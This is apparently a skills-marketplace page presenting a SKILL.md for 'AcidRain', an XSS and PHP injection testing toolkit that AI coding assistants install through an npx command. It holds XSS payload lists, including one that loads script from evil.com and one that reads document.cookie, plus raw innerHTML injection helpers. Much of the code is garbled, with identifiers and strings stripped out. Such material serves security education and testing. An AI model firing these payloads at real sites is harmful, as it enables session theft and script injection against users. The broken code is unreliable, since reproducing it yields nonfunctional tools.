菜单
Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and learning
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/Aradotso/security-skills --skill acidrain-security-testing-toolkit命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
基于 SOC 职业分类
| name | acidrain-security-testing-toolkit |
| description | Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and learning |
| triggers | ["test XSS vulnerabilities with AcidRain","run AcidRain security scripts","analyze cross-site scripting with AcidRain","use AcidRain injection testing samples","set up AcidRain security toolkit","demonstrate XSS patterns with AcidRain","configure AcidRain for security testing","create XSS test cases using AcidRain"] |
Skill by ara.so — Security Skills collection.
AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples designed for authorized security testing and hands-on learning. This toolkit provides browser-side and server-side scripts for exploring cross-site scripting behavior, input handling, and output processing in controlled environments.
Clone the repository and navigate to the working directory:
git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git
cd acidrain-security-script-hub
Inspect the directory structure to understand available resources:
ls -la scripts/
Expected structure:
acidrain-security-script-hub/
├── scripts/
│ ├── javascript/ # Client-side security testing scripts
│ ├── php/ # Server-side PHP examples
│ └── xss/ # XSS-specific resources
├── configs/ # Configuration files
├── examples/ # Working examples
├── docs/ # Documentation
├── LICENSE
└── README.md
Client-side scripts for browser-based security testing. Place scripts in test environments or controlled pages:
// Example: Basic XSS payload tester
function testXSSPayload(input, targetElement) {
try {
const sanitized = DOMPurify.sanitize(input);
document.querySelector(targetElement).innerHTML = sanitized;
console.log('Payload rendered:', input);
console.log('Sanitized output:', sanitized);
} catch (error) {
console.error('XSS test error:', error);
}
}
// Test reflection in a controlled environment
const testPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror="alert(1)">',
'"><svg/onload=alert(1)>',
'javascript:alert(document.cookie)'
];
testPayloads.forEach(payload => {
console.log('Testing:', payload);
testXSSPayload(payload, '#test-target');
});
Server-side examples for testing input validation and output encoding:
<?php
// Example: Input sanitization tester
function testInputSanitization($input, $method = 'htmlspecialchars') {
echo "Original input: " . $input . "\n";
switch ($method) {
case 'htmlspecialchars':
$output = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
break;
case 'strip_tags':
$output = strip_tags($input);
break;
case 'filter_var':
$output = filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
break;
default:
$output = $input;
}
echo "Sanitized output ($method): " . $output . "\n";
echo "Encoding applied: " . ($output !== $input ? 'Yes' : 'No') . "\n\n";
return ;
}
= [
,
,
,
];
( ) {
(, );
}
Common XSS patterns for controlled testing:
// Example: XSS vector library for authorized testing
const XSSVectors = {
// Basic script injection
basic: [
'<script>alert(1)</script>',
'<script>console.log(document.cookie)</script>',
'<script src="http://evil.com/xss.js"></script>'
],
// Event handler injection
eventHandlers: [
'<img src=x onerror=alert(1)>',
'<body onload=alert(1)>',
'<svg/onload=alert(1)>',
'<input onfocus=alert(1) autofocus>'
],
// Protocol-based
protocol: [
'<a href="javascript:alert(1)">Click</a>',
'<iframe src="javascript:alert(1)"></iframe>',
'<object data="javascript:alert(1)">'
],
// Context-breaking
contextBreak: [
'"><script>alert(1)</script>',
'\'-alert(1)-\'',
'</script><script>alert(1)</script>',
'`;alert(1);//'
]
};
// Test function for authorized environments
function runAuthorizedXSSTest(vectors, targetURL) {
if (!confirm('Run tests on ' + targetURL + '? Ensure authorization.')) {
return;
}
vectors.forEach((vector, index) => {
console.log(`Test ${index + 1}:`, vector);
// Implement actual testing logic for authorized target
});
}
Create a configuration file for test environments:
// config/test-environment.js
const TestConfig = {
// Target configuration
targetURL: process.env.TEST_TARGET_URL || 'http://localhost:8080',
// Authentication (if required)
authToken: process.env.AUTH_TOKEN,
// Test parameters
maxPayloadLength: 1000,
timeoutMs: 5000,
// Logging
verboseOutput: process.env.VERBOSE === 'true',
logFile: process.env.LOG_FILE || './logs/xss-tests.log',
// Safety checks
requireAuthorization: true,
allowedDomains: [
'localhost',
'127.0.0.1',
'test.local'
]
};
module.exports = TestConfig;
<?php
// config/security-test-config.php
return [
'test_mode' => getenv('TEST_MODE') === 'true',
'target_url' => getenv('TEST_TARGET_URL') ?: 'http://localhost',
'auth_token' => getenv('AUTH_TOKEN'),
// Test settings
'max_payloads' => 100,
'timeout' => 30,
// Output settings
'log_file' => getenv('LOG_FILE') ?: './logs/php-security-tests.log',
'verbose' => getenv('VERBOSE') === 'true',
// Safety
'require_authorization' => true,
'allowed_ips' => ['127.0.0.1', '::1']
];
?>
// scripts/javascript/automated-xss-tester.js
class XSSTester {
constructor(config) {
this.config = config;
this.results = [];
}
async testPayload(payload, context) {
const testCase = {
payload,
context,
timestamp: new Date().toISOString(),
blocked: false,
sanitized: false
};
try {
// Create isolated test frame
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
const iframeDoc = iframe.contentDocument;
const testDiv = iframeDoc.createElement('div');
testDiv.innerHTML = payload;
iframeDoc.body.appendChild(testDiv);
// Check if scripts executed
testCase.blocked = !iframeDoc.querySelector('script');
testCase.sanitized = testDiv. !== payload;
..(iframe);
} (error) {
testCase. = error.;
testCase. = ;
}
..(testCase);
testCase;
}
() {
.();
( payload payloads) {
result = .(payload, );
(..) {
.(, result);
}
}
.();
}
() {
summary = {
: ..,
: ..( r.).,
: ..( r.).,
: ..( !r. && !r.).
};
{
summary,
: .
};
}
}
tester = ({
:
});
payloads = [
,
,
];
tester.(payloads).( {
.(, report);
});
<?php
// scripts/php/input-validation-tester.php
class InputValidationTester {
private $results = [];
public function testValidation($input, $validators) {
$testResult = [
'input' => $input,
'timestamp' => date('Y-m-d H:i:s'),
'validators' => []
];
foreach ($validators as $name => $validator) {
$output = $validator($input);
$testResult['validators'][$name] = [
'output' => $output,
'modified' => $output !== $input,
'length_change' => strlen($output) - strlen($input)
];
}
$this->results[] = $testResult;
return $testResult;
}
public function generateReport() {
[
=> (->results),
=> ->results
];
}
}
= [
=> {
(, ENT_QUOTES, );
},
=> {
();
},
=> {
(, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
},
=> {
(, , );
}
];
= ();
= [
,
,
,
];
( ) {
= ->(, );
. . ;
();
;
}
= ->();
(, JSON_PRETTY_PRINT);
// scripts/javascript/context-aware-tester.js
const ContextAwareXSS = {
contexts: {
html: {
name: 'HTML Context',
payloads: [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>'
],
testMethod: (payload) => {
const div = document.createElement('div');
div.innerHTML = payload;
return div.querySelector('script') !== null;
}
},
attribute: {
name: 'Attribute Context',
payloads: [
'" onload="alert(1)',
'\' onerror=\'alert(1)',
'"><script>alert(1)</script><"'
],
testMethod: (payload) => {
const img = document.createElement('img');
img.setAttribute('src', payload);
return img.getAttribute('src').includes('alert');
}
},
javascript: {
name: 'JavaScript Context',
payloads: [
,
,
],
: {
{
(payload);
;
} {
;
}
}
},
: {
: ,
: [
,
,
],
: {
.(payload);
}
}
},
() {
context = .[contextName];
(!context) {
.(, contextName);
;
}
.();
results = context..( ({
payload,
: context.(payload)
}));
{
: contextName,
results,
: {
: results.,
: results.( r.).
}
};
},
() {
.(.).(
.(ctx)
);
}
};
results = .();
.(, results);
Problem: JavaScript payloads are not executing in test environment.
Solution: Check Content Security Policy (CSP) headers:
// Check CSP
const csp = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
if (csp) {
console.log('CSP detected:', csp.content);
console.log('This may block XSS payloads - expected in production');
}
// For testing, ensure test environment has relaxed CSP
// Do NOT disable CSP in production environments
Problem: PHP scripts return source code instead of executing.
Solution: Ensure PHP is installed and web server is configured:
# Check PHP installation
php -v
# Start PHP development server for testing
php -S localhost:8000 -t ./scripts/php
# Test script execution
curl http://localhost:8000/input-validation-tester.php
Problem: Tests fail due to authorization requirements.
Solution: Set up proper test environment variables:
# Set test environment
export TEST_MODE=true
export TEST_TARGET_URL=http://localhost:8080
export AUTH_TOKEN=your_test_token_here
# Verify allowed domains in configuration
# Ensure target is in allowedDomains list
Problem: Test results are not being saved to log files.
Solution: Check log directory permissions and configuration:
# Create logs directory
mkdir -p logs
# Set permissions
chmod 755 logs
# Verify log file path in config
export LOG_FILE=./logs/xss-tests.log
# Check if logs are being written
tail -f ./logs/xss-tests.log
Problem: Payloads are automatically encoded or modified before testing.
Solution: Use raw payload handling:
// Disable automatic encoding
function injectRawPayload(payload, element) {
// Use textContent for comparison
const original = element.textContent;
// Direct DOM manipulation
element.innerHTML = payload;
const modified = element.textContent;
console.log('Original:', original);
console.log('Payload:', payload);
console.log('Result:', modified);
console.log('Modified:', original !== modified);
}
AcidRain is designed for authorized security testing only. Users must:
Unauthorized testing may be illegal and unethical. Always operate within defined scope and authorization.